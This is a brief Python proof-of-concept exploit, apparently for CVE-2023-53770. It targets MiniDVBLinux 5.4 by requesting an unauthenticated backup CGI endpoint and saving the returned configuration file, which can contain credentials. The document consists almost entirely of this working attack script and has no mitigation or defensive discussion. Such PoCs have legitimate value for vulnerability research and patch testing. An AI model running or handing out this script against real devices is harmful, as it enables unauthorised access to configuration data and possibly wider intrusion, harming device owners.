CVE-2023-53770

import requests # CVE-2023-53770 PoC - MiniDVBLinux Unauthenticated Config Download # Target: MiniDVBLinux 5.4 # Vulnerability: Insecure Direct Object Reference in backup endpoint target_url = "http://target-host/cgi-bin/admin/backup.cgi" params = {"action": "getconfig"} try: response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: if b'<?xml' in response.content or b'<configuration>' in response.content: print("[+] Success! Configuration file downloaded.") with open("config_backup.xml", "wb") as f: f.write(response.content) print("[+] Configuration saved to config_backup.xml") else: print("[-] Unexpected response format") else: print(f"[-] Request failed with status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}")

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